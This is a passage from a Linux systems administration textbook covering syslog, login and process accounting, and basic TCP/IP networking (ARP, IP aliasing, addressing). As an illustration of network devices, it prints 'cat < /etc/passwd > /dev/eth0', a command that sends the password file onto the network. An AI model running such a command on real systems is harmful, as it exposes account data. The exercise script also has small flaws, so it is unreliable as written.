David Jones, Bruce Jamieson (2/20/25) Page 377

 85321, Systems Administration Chapter 14: Observation, automation and logging

 an asterix
Messages are displayed on the screens of all logged in users.

For example
The following is an example syslog configuration file taken from the Linux manual
page for syslog.conf

# Log all kernel messages to the console.

# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.

# Don't log private authentication messages!
*.info;mail.none;authpriv.none /var/log/messages

# The authpriv file has restricted access.

authpriv.* /var/log/secure

# Log all the mail messages in one place.

mail.* /var/log/maillog

# Everybody gets emergency messages, plus log them on another

# machine.
*.emerg *

# Save mail and news errors of level err and higher in a

# special file.
uucp,news.crit /var/log/spooler

Exercise

14.9 A common problem on many systems are users who consume too much disk
space. One method to deal with this is to have a script which regularly
checks on disk usage by users and reports those users who are consuming too
much. The following is one example of a script to do this.

#!/bin/bash

# global constant
# DISKHOGFILE holds the location of the file defining each users
# maximum disk space
DISKHOGFILE="disk.hog"
# OFFENDERFILE specifiesl where to write information about offending
# users
OFFENDERFILE="offender"

space_used()
# accept a username as 1st parameter
# return amount of disk space used by the users home directory
# in a variable usage

David Jones, Bruce Jamieson (2/20/25) Page 378

85321, Systems Administration Chapter 14: Observation, automation and logging

{
# home directory is the sixth field in /etc/passwd
the_home=`grep ^$1: /etc/passwd | cut -d: -f6`
# du uses a tab character to seperate out its fields
# we're only interested in the first one
usage=`du -s $the_home | cut -f1`
}

#
# Main Program
#

while read username max_space

do
space_used $username
if [ $usage -gt $max_space ]
then
echo $username has a limit of $max_space and has used $used $OFFENDERFILE
fi
done < $DISKHOGFILE

Modify this script so that it uses the syslog system rather than displaying its
output onto standard output.
14.10 Configure syslog so the messages from the script in the previous question are
appended to the logfile /var/log/disk.hog.messages and also to the main
system console.

Accounting
Accounting was developed when computers were expensive resources and people
were charged per command or CPU time. In today's era of cheap, powerful computers
its rarely used for these purposes. One thing accounting is used for is as a source of
records about the use of the system. Particular useful if someone is trying, or has,
broken into your system.
In this section we will examine
 login accounting.
 process accounting

Login accounting
The file /var/log/wtmp is used to store the username, terminal port, login and logout
times of every connection to a Linux machine. Every time you login or logout the
wtmp file is updated. This task is performed by init.

last

The last command is used to view the contents of the wtmp file. There are options to
limit interest to a particular user or terminal port.

David Jones, Bruce Jamieson (2/20/25) Page 379

85321, Systems Administration Chapter 14: Observation, automation and logging

Exercise

14.11 Use the last command to

- count how many logins there have been since the current wtmp file was
created,
- how many times has the root user logged in

ac

The last command provides rather rudimentary summary of the information in the
wtmp file. As a Systems Administrator it is possible that you may require more
detailed summaries of this information. For example, you may desire to know the
total number of hours each user has been logged in, how long per day and various
other information.
The command that provides this information is the ac command.

David Jones, Bruce Jamieson (2/20/25) Page 380

 85321, Systems Administration Chapter 14: Observation, automation and logging

Installing ac
It is possible that you will not have the ac command installed. On a RedHat Linux
5.0 machine it should be located in /usr/bin/ac. The ac command is part of the
psacct package. If you don't have ac installed you will have to use rpm or glint to
install the package.

Exercise

14.12 Use the ac command to

- find the total number of hours you were logged in as the root user
- find the average number of hours per login for all users
- find the total and average hours of login for the root user for the last 7 days

Process accounting
Also known as CPU accounting, process accounting records the elapsed CPU time,
average memory use, I/O summary, the name of the user who ran the process, the
command name and the time each process finished.

Turning process accounting on

Process accounting does not occur until it is turned on using the accton command.

accton /var/log/acct
Where /var/log/acct is the file in which the process accounting information will be
stored. The file must already exist before it will work. You can use any filename you
wish but many of the accounting utilities rely on you using this file.

lastcomm

lastcomm is used to display the list of commands executed either for everyone, for
particular users, from particular terminals or just information about a particular
command. Refer to the lastcomm manual page for more information.

[root@beldin /proc]# lastcomm david

netscape david tty1 0.02 secs Sun Jan 25 16:26
[root@beldin /proc]# lastcomm ttyp2
lastcomm root ttyp2 0.55 secs Sun Jan 25 16:21
ls root ttyp2 0.03 secs Sun Jan 25 16:21
ls root ttyp2 0.02 secs Sun Jan 25 16:21
accton root ttyp2 0.01 secs Sun Jan 25 16:21

David Jones, Bruce Jamieson (2/20/25) Page 381

 85321, Systems Administration Chapter 14: Observation, automation and logging

The sa command

The sa command is used to provide more detailed summaries of the information

stored by process accounting and also to summarise the information into other files.

[root@beldin /proc]# /usr/sbin/sa -a

66 0.19re 0.25cp
6 0.01re 0.16cp cat
8 0.00re 0.04cp lastcomm
17 0.00re 0.01cp ls
6 0.01re 0.01cp man
1 0.00re 0.01cp troff
5 0.01re 0.01cp less
1 0.15re 0.01cp in.ftpd
6 0.01re 0.01cp sh
5 0.00re 0.00cp gunzip
1 0.00re 0.00cp grotty
2 0.00re 0.00cp sa
1 0.00re 0.00cp groff
1 0.00re 0.00cp gtbl
1 0.00re 0.00cp gzip
1 0.00re 0.00cp sh*
1 0.00re 0.00cp netscape*
1 0.00re 0.00cp accton
2 0.00re 0.00cp bash*
Refer to the manual pages for the sa command for more information.

So what?
This section has given a very brief overview of process and login accounting and the
associated commands and files. What use do these systems fulfil for a Systems
Administrator? The main one is that they allow you to track what is occurring on
your system and who is doing it. This can be useful for a number of reasons
 tracking which user's are abusing the system
 figuring out what is normal for a user
If you know that most of your users never use commands like sendmail and the C
compilers (via process accounting) and then all of a sudden they start using this
might be an indication of a break in.
 justifying to management the need for a larger system
Generally management won't buy you a bigger computer just because you want
one. In most situations you will have to put together a case to justify why the
additional expenditure is necessary. Process and login account could provide
some of the necessary information.

Conclusions

David Jones, Bruce Jamieson (2/20/25) Page 382

85321, Systems Administration Chapter 14: Observation, automation and logging

The cron system is used to automatically perform tasks at set times. Components of
the cron system include
 the daemon, crond,
Which actually performs the specified tasks.
 crontab files, and
That specify the when and what.
 the crontab command.
Used to manipulate the crontab files.
Useful commands for examining the current status of your systems file system include
df and du. Commands for examining and manipulating processes include ps, kill,
renice, nice and top. Other "status" commands include free, uptime and uname.

syslogis a centralised system for logging information about system events. It's
components include
 an API and a program (logger) by which information can be logged,
 the syslogd daemon that actually performs the logging, and
 the /etc/syslog.conf that specifies what and where logging information should
be logged.
Login accounting is used to track when, where and for how long users connect to your
system. Process accounting is used to track when and what commands were executed.
By default Linux does not provide full support for either form of accounting (it does
offer some standard login accounting but not the extra command sac). However there
are freely available software distributions that provide Linux this functionality.
Login accounting is performed in the /var/log/wtmp file that is used to store the
details of every login and logout from the system. The last command can be used to
view the contents of the binary /var/log/wtmp file. The non-standard command sac
can be used to summarise this information into a number of useful formats.
Process accounting must be turned on using the accton command and the results can
be viewed using the lastcomm command.
Both logging and accounting can produce files that grow to some considerable size in
a short amount of time. The Systems Adminstrator must implement strategies to deal
with these log files. Either by ignoring and deleting them or by saving them to tape.

Review Questions

14.1
Explain the relationship between each of the following
 crond, crontab files and the crontab command,
 syslogd, logger and /etc/syslog.conf

David Jones, Bruce Jamieson (2/20/25) Page 383

85321, Systems Administration Chapter 14: Observation, automation and logging

 /var/adm/wtmp, last and sac

14.2
You have just modified the /etc/syslog.conf file. Will your changes take effect
immediately? If not what command would you use to make the modifications take
effect? How could you check that the modifications are working?

14.3
Write crontab entries to achieve the following
 run the script /usr/local/adm/bin/archiveIt every Monday at 6 am
 run a script /usr/local/adm/bin/diskhog on Monday, Wednesday and Friday at 6am,
12pm, 4pm

David Jones, Bruce Jamieson (2/20/25) Page 384

85321, Systems Administration Chapter 15: Networks: The Connection

Chapter 15
Networks: The Connection

Introduction
Networks, connecting computers to networks and managing those networks are
probably the most important, or at least the most hyped, areas of computing at the
moment. This and the following chapter introduce the general concepts associated
with TCP/IP-based networks and in particular the knowledge required to connect and
use Linux computers to those networks.
This chapter examines how you connect a Linux machine and configure it to provide
basic network connections and services for other machines. Network applications,
how they work and what you can do with them, is the topic for the following chapter.
This chapter introduces the process and knowledge for connecting a Linux machine to
a TCP/IP network from the lowest level up using the following steps
 network hardware
Briefly looks at the hardware peripherals that allow network connections and in
particular the network hardware which Linux supports.
 network support in the Linux kernel
Many of the networking services require support from the kernel of the operating
system. This section examines what support for network services the Linux
kernel provides.
 configuring the network connection
Once the hardware is installed and the kernel rebuilt the network connection must
be configured. Linux/UNIX uses a number of specific commands to perform
these tasks.
Each of these steps requires an understanding of the operation and basics of TCP/IP
networks. These concepts are introduced throughout the sections as they are
required.

David Jones, Bruce Jamieson (2/20/25) Page 385

85321, Systems Administration Chapter 15: Networks: The Connection

Related Material
As you might expect there is a large amount of information about creating and
maintaining TCP/IP networks on the Internet. The following is a small list of some of
that material
 Linux NET-3-HOWTO
A good, succinct source of information specific to Linux networking. Available
from the Linux Documentation Project of which there is a mirror on the 85321
Web site/CD-ROM (see the link "LDP" on the Resource Materials Page). The
LDP also includes a number of other HOW-TOs on network related topics
including DNS, Ethernet, Firewall, IPX, ISP Hookup, Intranet Server, NFS, NIS,
PPP, SMB and a number of other mini-howtos. As always when looking for
information about using Linux for some purpose, looking through the HOW-TOs
is a good idea.
 Network Administrators Guide
A book which has been published by O'Rielly and Associates
(http://www.ora.com/) but is also freely available as part of the Linux
Documentation Project. Also available from the LDP in HTML or Postscript
format.
 Linux network project
Development on the Linux networking code is an on-going project. The project
leader maintains a Web site which contains information about the current
developments. It's located at http://www.uk.linux.org/NetNews.html
 comp.os.linux.networking
A newsgroup specifically for discussions about Linux networking.
 TCP/IP introduction and administration,
Documents produced by Rutgers University. Available via ftp from the
URLsftp://athos.rutgers.edu/runet/tcp-ip-intro.{doc|ps} tcp-ip-admin.{doc|ps|}
and also from the 85321 Web site (but not the CD-ROM) under the Resource
Materials section for Week 9.
 RFC Database
RFCs (Request for comments) are the standards documents for the Internet. A
Web-based interface to the collection of RFCs is available from
http://pubweb.nexor.co.uk/public/rfc/index/rfc.html
 Linux for an ISP
A number of Internet Service Providers from throughout the world use Linux
servers. There is a Web page which maintains a list of links of interest to these
folk. It is available at http://www.anime.net/linuxisp/ Some of the links are
dated.

David Jones, Bruce Jamieson (2/20/25) Page 386

85321, Systems Administration Chapter 15: Networks: The Connection

Network Hardware
The first step in connecting a machine to a network is to find out what sort of network
hardware you will be using. The aim of this unit and this chapter is not to give you a
detailed introduction to networking hardware. If you are interested in the topic
there are a number of readings and resources mentioned throughout this section.
Before you can use a particular type of networking hardware, or any hardware for that
matter, there must be support for that device in the Linux kernel. If the kernel doesn't
support the required hardware then you can't use it. Currently the Linux kernel offers
support for the networking hardware outlined in list below. For more detailed
information about hardware support under Linux refer to the Hardware Compatibility
HOWTO available from your nearest mirror of the Linux Documentation Project.
 arcnet
 ATM http://lrcwww.epfl.ch/linux-atm/
 AX25, amateur radio
 EQL
EQL allows you to treat multiple point-to-point connections (SLIP, PPP) as a
single logical TCP/IP connection.
 FDDI
 Frame relay
 ISDN
 PLIP
 PPP
 SLIP
 radio modem, STRIP, Starmode Radio IP
http://mosquitonet.standford.edu/{mosquitonet.html|strip.html}
 token ring
 X.25
 WaveLan, wireless, card, and
 ethernet
 In most "normal" situations the networking hardware being used will be either

 modem
A modem is a serial device so your Linux kernel should support the appropriate
serial port you have in your computer. The networking protocol used on a modem
will be either SLIP or PPP which must also be supported by the kernel.
 ethernet
Possibly the most common form of networking hardware at the moment. There
are a number of different ethernet cards. You will need to make sure that the
kernel supports the particular ethernet card you will be using. The Hardware
Compatibility HOW-TO includes this information.

Network devices

David Jones, Bruce Jamieson (2/20/25) Page 387

 85321, Systems Administration Chapter 15: Networks: The Connection

As mentioned in chapter 10 the only way a program can gain access to a physical
device is via a device file. Network hardware is still hardware so it follows that there
should be device files for networking hardware. Under other versions of the UNIX
operating system this is true. It is not the case under the Linux operating system.
Device files for networking hardware are created, as necessary, by the device drivers
contained in the Linux kernel. These device files are not available for other programs
to use. This means I can't execute the command

cat < /etc/passwd > /dev/eth0

The only way information can be sent via the network is by going through the kernel.
Remember, the main reason UNIX uses device files is to provide an abstraction which
is independent of the actual hardware being used. A network device file must be
configured properly before you can use it send and receive information from the
network. The process for configuring a network device requires a bit more
background information than you have at the moment. The following provides that
background and a later section in the chapter examines the process and the commands
in more detail.
The installation process for RedHat 5.0 will normally perform some network
configuration for you. To find out what network devices are currently active on your
system have a look at the contents of the file /proc/net/dev

[david@faile]$ cat /proc/net/dev

Inter-| Receive | Transmit
face |packets errs drop fifo frame|packets errs drop fifo colls carrier
lo: 91 0 0 0 0 91 0 0 0 0
0
eth0: 0 0 0 0 0 60 0 0 0 0 60
On this machine there are two active network devices. lo: the loopback device and
eth0: an ethernet device file. If a computer has more than one ethernet interface
(network devices are usually called network interfaces) you would normally see
entries for eth1 eth2 etc.
 IP aliasing (talked about more later) is the ability for a single ethernet card to have more than
one Internet address (why this is used is also discussed later). The following example shows the
contents of the /proc/net/dev file for a machine using IP aliasing. It is not normal for an ethernet card
to have multiple IP addresses, normally each ethernet card/interface will have one IP address.

[david@cq-pan ]$ cat /proc/net/dev

Inter-| Receive | Transmit
face |packets errs drop fifo frame|packets errs drop fifo colls carrier
lo: 285968 0 0 0 0 285968 0 0 0 0 0
eth0:61181891 59 59 0 89 77721923 0 0 0 11133617 57
eth0:0: 48849 0 0 0 0 212 0 0 0 0 0
eth0:1: 10894 0 0 0 0 210 0 0 0 0 0
eth0:2: 481325 0 0 0 0 259 0 0 0 0 0
eth0:3: 29178 0 0 0 0 215 0 0 0 0 0
 You can see that the device files for an aliased ethernet device uses the format ethX:Y where
X is the number for the ethernet card and Y is the number of the aliased device. Since aliased devices
use the same ethernet card they must use the same network, after all you can't connect a single ethernet

David Jones, Bruce Jamieson (2/20/25) Page 388

85321, Systems Administration Chapter 15: Networks: The Connection

card to two networks.

David Jones, Bruce Jamieson (2/20/25) Page 389

 85321, Systems Administration Chapter 15: Networks: The Connection

Ethernet

The following provides some very brief background information on ethernet which
will be useful in the rest of the chapter.

Ethernet addresses
Every ethernet card has built into it a 48 bit address (called an Ethernet address or a
Media Access Control (MAC) address). The high 24 bits of the address are used to
assign a unique number to manufacturers of ethernet addresses and the low 24 bits are
assigned to individual ethernet cards made by the manufacturer.
Some example ethernet addresses, you will notice that ethernet addresses are written
using 6 tuples of HEX numbers, are listed below

00:00:0C:03:79:2F
00:40:F6:60:4D:A4
00:20:AF:A4:55:87
00:20:AF:A4:55:7B
Notice that the last two ethernet cards were made by the same manufacturer (with the
manufacturers number of 00:20:AF).

 Ethernet is a broadcast medium

Every packet, often called an ethernet frame, of information sent on ethernet contains
a source and destination MAC address. The packet is placed on a ethernet network and
every machine, actually the ethernet card, on the network looks at the packet. If the
card recognises the destination MAC as its own it "grabs" the packet and passes it to
the Network access layer.
 It is possible to configure your ethernet card so that it grabs all packets sent on the network.
This is how it is possible to "listen in" on other people on a ethernet network.
A single ethernet network cannot cover much more than a couple of hundred meters.
How far depends on the type of cabling used.

Converting hardware addresses to Internet addresses

The network access layer, the lowest level of the TCP/IP protocol stack is responsible
for converting Internet addresses into hardware addresses. This is how TCP/IP can be
used over a large number of different networking hardware. As you might have
guessed different networking hardware uses different addressing schemes.

Address Resolution Protocol

David Jones, Bruce Jamieson (2/20/25) Page 390

 85321, Systems Administration Chapter 15: Networks: The Connection

The mapping of ethernet addresses into Internet addresses is performed by the Address
Resolution Protocol (ARP). ARP maintains a table that contains the translation
between IP address and ethernet address.
When the machine wants to send data to a computer on the local ethernet network the
ARP software is asked if it knows about the IP address of the machine (remember the
software deals in IP addresses). If the ARP table contains the IP address the ethernet
address is returned.
If the IP address is not known a packet is broadcast to every host on the local network,
the packet contains the required IP address. Every host on the network examines the
packet. If the receiving host recognises the IP address as its own, it will send a reply
back that contains its ethernet address. This response is then placed into the ARP table
of the original machine (so it knows it next time).
The ARP table will only contain ethernet addresses for machines on the local network.
Delivery of information to machines not on the local network requires the intervention
of routing software which is introduced later in the chapter.

arp

On a UNIX machine you can view the contents of the ARP table using the arp
command. arp -a will display the entire table.

 The following example shows how the arp cache for a computer is built as it goes. In the
first use of the arp command you can see three machines in the cache, centaurus, draal and a ?. The ?
is almost certainly one of the NT computers in the student labs at CQU. Draal is one of the Linux
computers used by project students and centaurus is the gateway between the 138.77.37 network and
the rest of the world.

[root@cq-pan logs]# /sbin/arp –a

centaurus.cqu.EDU.AU (138.77.37.1) at AA:00:04:00:0B:1C [ether] on eth0
draal.cqu.EDU.AU (138.77.37.100) at 00:20:AF:33:B5:BE [ether] on eth0
? (138.77.37.46) at <incomplete> on eth0
 To see how new entries are added to the cache the next example shows the ping command.
Ping is often used to test a network connection and to see if a particular machine is alive. In this case
I'm pinging pug, who also happens to be on the 138.77.37 network.

[root@cq-pan logs]# ping pug

PING pug.cqu.edu.au (138.77.37.102): 56 data bytes
64 bytes from 138.77.37.102: icmp_seq=0 ttl=64 time=19.0 ms

--- pug.cqu.edu.au ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 19.0/19.0/19.0 ms
Since we've now contacted pug and pug is on the same network as this machine its
entry should now appear in the arp cache.

[root@cq-pan logs]# /sbin/arp –a

centaurus.cqu.EDU.AU (138.77.37.1) at AA:00:04:00:0B:1C [ether] on eth0
draal.cqu.EDU.AU (138.77.37.100) at 00:20:AF:33:B5:BE [ether] on eth0

David Jones, Bruce Jamieson (2/20/25) Page 391

 85321, Systems Administration Chapter 15: Networks: The Connection

pug.cqu.EDU.AU (138.77.37.102) at 00:20:AF:A4:3B:0F [ether] on eth0

? (138.77.37.46) at <incomplete> on eth0
There (s)he blows. If pug was not on the same local area network its ethernet address
would not be added to the arp cache. Remember, ethernet addresses are only used
to communicate with machines on the same ethernet network. For example, if I ping
the machine www.cqu.edu.au it won't be added to the arp cache since it is on a
different network.

[root@cq-pan logs]# ping www

PING plato.cqu.edu.au (138.77.5.4): 56 data bytes
64 bytes from 138.77.5.4: icmp_seq=0 ttl=63 time=1.7 ms

--- plato.cqu.edu.au ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.7/1.7/1.7 ms

SLIP, PPP and point to point

SLIP and PPP, used to connect machines via serial lines (and modems) are not
broadcast media. They are simple "point-to-point" connections between two
computers. This means that when information is placed on a SLIP/PPP connection
only the two computers at either end of that connection can see the information.
SLIP/PPP are usually used when a computer is connected to a network via a modem or
a serial connection.
This chapter does not provide any more discussion of SLIP/PPP. However all the
basic concepts and the fundamental process for connecting a machine to the network
are the same for SLIP/PPP as they are for ethernet. This is one of the advantages of
TCP/IP networking being layered. Above a certain level, i.e. when the network
interface is configured, the system works the same regardless of the hardware.

Kernel support for networking

Ensuring that the kernel includes support for your networking hardware is only the
first step. In order to supply certain network services it is necessary for them to be
compiled into the kernel. The following is a list of some of the services that the Linux
kernel can support
 IP accounting
IP accounting must be compiled into the kernel and is configured with the
ipfwadm command. IP accounting allows you to track the number of bytes and
packets transmitted over the network connection. This is useful in situations
where you must track the network usage of your users. For example, if you are a
Internet Service Provider.
 IP aliasing
Essentially, IP aliasing allows your computer to pretend it is more than one
computer. In a normal configuration each network device is allocated a single IP

David Jones, Bruce Jamieson (2/20/25) Page 392

 85321, Systems Administration Chapter 15: Networks: The Connection

address. However there are times when you wish to allocate multiple IP
addresses to a computer with a single network interface. The most common
example of this is web sites, for example, the websites http://cq-pan.cqu.edu.au/,
http://webclass.cqu.edu.au/, and http://webfuse.cqu.edu.au/ are all hosted by one
computer. This computer only has one ethernet card and uses IP aliasing to create
aliases for the ethernet card. The ethernet card's real IP address is 138.77.37.37
and its three alias addresses are 138.77.37.36, 138.77.37.59 and 138.77.37.108.

Normally the interface would only grab the network packets addressed to
138.77.37.37 but with network aliasing it will grab the packets for all three
addresses.

You can see this in action by using the arp command. Have a look at the
hardware addresses for the computers cq-pan, webclass and webfuse. What can
you tell?
[david@draal david]$ /sbin/arp
Address HWtype HWaddress Flags Mask
Iface
centaurus.cqu.EDU.AU ether AA:00:04:00:0B:1C C eth0
webfuse.cqu.EDU.AU ether 00:60:97:3A:AA:85 C
eth0
cq-pan.cqu.EDU.AU ether 00:60:97:3A:AA:85 C
eth0
science.cqu.EDU.AU ether 00:00:F8:01:9E:DA C
eth0
borric.cqu.EDU.AU ether 00:20:AF:A4:39:39 C
eth0
webclass.cqu.EDU.AU ether 00:60:97:3A:AA:85 C
eth0
138.77.37.46 (incomplete)
eth0

 IP firewall
This option allows you to use a Linux computer to implement a firewall. A
firewall works by allowing you to selectively ignore certain types of network
connections. By doing this you can restrict what access there is to your computer
(or the network behind it) and as a result help increase security.

The firewall option is closely related to IP accounting, for example it is configured

with the same command, ipfwadm.
 IP encapsulation
IP encapsulation is where the IP packet from your machine is wrapped inside
another IP packet. This is of particular use mobile IP and IP multicast.
 IPX
IPX protocol is used in Novel Netware systems. Including IPX support in the
Linux kernel allows a Linux computer to communicate with Netware machines.
 IPv6
IPv6, version 6 of the IP protocol, is the next generation of which is slowly being

David Jones, Bruce Jamieson (2/20/25) Page 393

85321, Systems Administration Chapter 15: Networks: The Connection

adopted. IPv6 includes support for the current IP protocol. Linux support for
IPv6 is slowly developing. You can find more information at
http://www.terra.net/ipv6/
 IP masquerade
IP masquerade allows multiple computers to use a single IP address. One
situation where this can be useful is when you have a single dialup connection to
the Internet via an Internet Service Provider (ISP). Normally, such a dialup
connection can only be used by the machine which is connected. Even if the
dialup machine is on a LAN with other machines connected they cannot access the
Internet. However with IP masquerading it is possible to allow all the machines
on that LAN access the Internet.
 Network Address Translation
Support for network address translation for Linux is still at an alpha stage.
Network address translation is the "next version" of IP masquerade. See
http://www.csn.tu-chemnitz.de/HyperNews/get/linux-ip-nat.html for more
information.
 IP proxy server
 Mobile IP
Since an IP address consists of both a network address and a host address it can
normally only be used when a machine is connected to the network specified by
the network address. Mobile IP allows a machine to be moved to other networks
but still retain the same IP. IP encapsulation is used to send packets destined for
the mobile machine to its new location. See
http://anchor.cs.binghamton.edu/mobileip/ for more information.
 IP multicast
IP multicast is used to send packets simultaneously to computers and separate IP
networks. It is used for a variety of audio and video transmission. See
http://www.teksouth.com/linux/multicast/ for more information.

TCP/IP Basics
Before going any further it is necessary to introduce some of the basic concepts related
to TCP/IP networks. An understanding of these concepts is essential for the next
steps in connecting a Linux machine to a network. The concepts introduced in the
following includes
 hostnames
Every machine (also known as a host) on the Internet has a name. This section
introduces hostnames and related concepts.
 IP addresses
Each network interface on the network also has a unique IP address. This section
discusses IP addresses, the components of an IP address, subnets, network classes
and other related issues.

David Jones, Bruce Jamieson (2/20/25) Page 394

 85321, Systems Administration Chapter 15: Networks: The Connection

 Name resolution
Human beings use hostnames while the IP protocols use IP addresses. There must
be a way, name resolution, to convert hostnames into IP addresses. This section
looks at how this is achieved.
 Routing
When network packets travel from your computer to a Web site in the United
States there are normally a multitude of different paths that packet can take. The
decisions about which path it takes are performed by a routing algorithm. This
section briefly discusses how routing occurs.

Hostnames
Most computers on a TCP/IP network are given a name, usually known as a host name
(a computer can be known as a host). The hostname is usually a simple name used to
uniquely identify a computer within a given site. A fully qualified Internet host
name, also known as a fully qualified domain name (FQDN), uses the following
format

hostname.site.domain.country
 hostname
A name by which the computer is known. This name must be unique to the site on
which the machine is located.
 site
A short name given to the site (company, University, government department etc)
on which the machine resides.
 domain
Each site belongs to a specific domain. A domain is used to group sites of similar
purpose together. Table 15.1 provides an example of some domain names. Strictly
speaking a domain name also includes the country.
 country
Specifies the actual country in which the machine resides. Table 15.2 provides an
example of some country names. You can see a list of the country codes at
http://www.bcpl.net/~jspath/isocodes.html
For example the CQU machine jasper's fully qualified name is
jasper.cqu.edu.au, where jasper is the hostname, cqu is the site name, the
domain is edu and the country is au.

Domain Purpose
edu Educational institution, university or school
com Commercial company
gov Government department
net Networking companies
Ta b l e 1 5 . 1
Example Internet domains

David Jones, Bruce Jamieson (2/20/25) Page 395

 85321, Systems Administration Chapter 15: Networks: The Connection

Country code Country

nothing or us United States
au Australia
uk United Kingdom
in India
ca Canada
fr France
Ta b l e 1 5 . 2
Example Country Codes

hostname

Under Linux the hostname of a machine is set using the hostname command. Only
the root user can set the hostname. Any other user can use the hostname command
to view the machine's current name.

root@faile david]# hostname

faile.cqu.edu.au
[root@faile david]# hostname fred
[root@faile david]# hostname
fred
 Changes to the hostname performed using the hostname command will not apply after you
reboot a RedHat 5.0 Linux computer. RedHat 5.0 sets the hostname during startup from one of its
configuration files, /etc/sysconfig/network This is the file which is changed by the GUI tools
provided with RedHat.
If you wish a change in hostname to be retained after you reboot you will have to
change this file.

Qualified names
jasper.cqu.edu.au is a fully qualified domain name and uniquely identifies the
machine jasper on the CQU campus to the entire Internet. There cannot be another
machine called jasper at CQU. However there could be another machine called
jasper at James Cook University in Townsville (its fully qualified name would be
jasper.jcu.edu.au).
A fully qualified name must be unique to the entire Internet. Which implies every
hostname on a site should be unique.

Not qualified
It is not always necessary to specify a fully qualified name. If a user on
aldur.cqu.edu.au enters the command telnet jasper the networking
software assumes that because it isn't fully qualified hostname the user means the
machine jasper on the current site (cqu.edu.au).

David Jones, Bruce Jamieson (2/20/25) Page 396

85321, Systems Administration Chapter 15: Networks: The Connection

IP/Internet Addresses
Alpha-numeric names, like hostnames, cannot be handled efficiently by computers, at
least not as efficiently as numbers. For this reason, hostnames are only used for us
humans. The computers and other equipment involved in TCP/IP networks use
numbers to identify hosts on the Internet. These numbers are called IP addresses.
This is because it is the Internet Protocol (IP) which provides the addressing scheme.
IP addresses are currently 32 bit numbers, IPv6 the next generation of IP uses 128 bit
address. IP addresses are usually written as four numbers separated by full stops
(called dotted decimal form) e.g. 132.22.42.1. Since IP addresses are 32 bit
numbers, each of the numbers in the dotted decimal form are restricted to between 0-
255 (32 bits divide by 4 numbers gives 8 bits per number and 255 is the biggest
number you can represent using 8 bits). This means that 257.33.33.22 is an
invalid address.

David Jones, Bruce Jamieson (2/20/25) Page 397

 85321, Systems Administration Chapter 15: Networks: The Connection

Dotted Quad to Binary

The address 132.22.42.1 in dotted decimal form is actually stored on the
computer as 10000100 00010110 00101010 00000001. Each of the four
decimal numbers represent one byte of the final binary number
 132 = 10000100
 22 = 00010110
 42 = 00101010
 1 = 00000001
The conversion from dotted quad to binary (and back again) is important for some of
the following concepts.

Networks and hosts

An IP address actually consists of two parts
 a network portion, and
This is used to identify the network that the machine belongs to. Hosts on the
same network will have this portion of the IP address in common. This is one of
the reasons why IP masquerading is required for mobile computers (e.g. laptops).
If you move a computer to a different network you must give it a different IP
address which includes the network address of the new network it is connected to.
 the host portion.
This is the part which uniquely identifies the host on the network.
The network portion of the address forms the high part of the address (the bit that
appears on the left hand side of the number). The size of the network and host
portions of an IP address is specified by another 32 bit number called the
netmask (also known as the subnet mask).
To calculate which part of an IP address is the network and which the host the IP
address and the subnet mask are treated as binary numbers (see diagram 15.?). Each
bit of the subnet mask and the IP address are compared and
 if the bit is set in both the IP address and the subnet mask then the bit is set in the
network address,
 if the bit is set in the IP address but not set in the subnet mask then the bit is set in
the host address.

For example

IP address 138.77.37.21 10001010 01001101 00100101 00010101

netmask 255.255.255.0 11111111 11111111 11111111 00000000

David Jones, Bruce Jamieson (2/20/25) Page 398

 85321, Systems Administration Chapter 15: Networks: The Connection

network address 138.77.37.0 10001010 01001101 00100101 00000000

host address 0.0.0.21 00000000 00000000 00000000 00010101

David Jones, Bruce Jamieson (2/20/25) Page 399

85321, Systems Administration Chapter 15: Networks: The Connection

The Internet is a network of networks

The structure of IP addresses can give you some idea of how the Internet works. It is
a network of networks. You start with a collection of machines all connected via the
same networking hardware, a local area network. All the machines on this local area
network will have the same network address, each machine also has a unique host
address.
The Internet is formed by connecting a lot of local area networks together.

For example
In Figure 15.1 there are two networks, 138.77.37.0 and 138.77.36.0. These
are two networks on the Rockhampton campus of Central Queensland University and
both use ethernet as their networking hardware. This means that when a computer on
the 37 subnet (the network with the network address 138.77.37.0) wants to send
information to another computing on the 37 subnet it simply uses the characteristics of
ethernet. The information is placed on the ethernet network and gets delivered.
However, if the machine 138.77.37.37 wants to send information to the machine
138.77.36.15 it's a bit more complex. Since both computers are on separate networks
the machine 138.77.37.37 just can't send information to the machine
138.77.36.15. Instead it has to use a gateway machine (only rarely is the
gateway machine a computer but it can be). The gateway machine actually has two
network connections. One connection to the 138.77.37.0 network and the other
to the 138.77.36.0 network.
It is via this dual connection that the gateway acts as the connection between the two
networks. The gateway knows that it should grab any and all packets on the
138.77.36.0 network destined for the 138.77.37.0 network (and vice versa).
When it grabs these packets the gateway machine transfers them from the network
device connected to the sending network to the network device connected to the
receiving network.

David Jones, Bruce Jamieson (2/20/25) Page 400

85321, Systems Administration Chapter 15: Networks: The Connection

Figure 15.1
A simple gateway

This process is repeated for other networks. Each network is then connected to each
other via devices called routers, or perhaps gateways. This is a very simple example.

Assigning IP addresses
Some IP addresses are reserved for specific purposes and you should not assign these
addresses to a machine. Table 15.3 lists some of these addresses
Address Purpose
xx.xx.xx.0 network address
xx.xx.xx.1 gateway address *
xx.xx.xx.255 broadcast address
127.0.0.1 loopback address
* this is not a set standard

Ta b l e 1 5 . 3
Reserved IP addresses

As mentioned above 127.0.0.1 is a special IP address. It refers to the local host.

The local host allows software to address the local machine in exactly the same way it
would address a remote machine. For those of you without network connections the
localhost will be the only method you can use to experiment with the concepts
introduced in this and the following chapter.
As shown in the previous examples gateways and routers are able to distribute data
from one network to another because they are actually physically connected to two or
more networks through a number of network interfaces. Figure 15.? provides a
representation of this.

David Jones, Bruce Jamieson (2/20/25) Page 401

85321, Systems Administration Chapter 15: Networks: The Connection

The machine in the middle, the gateway machine, has two network interfaces. One has
the IP address 138.77.37.1 and the other 138.77.36.1 (it's common practice
for a networks gateway machine to have the host id 1, but by no means compulsory).
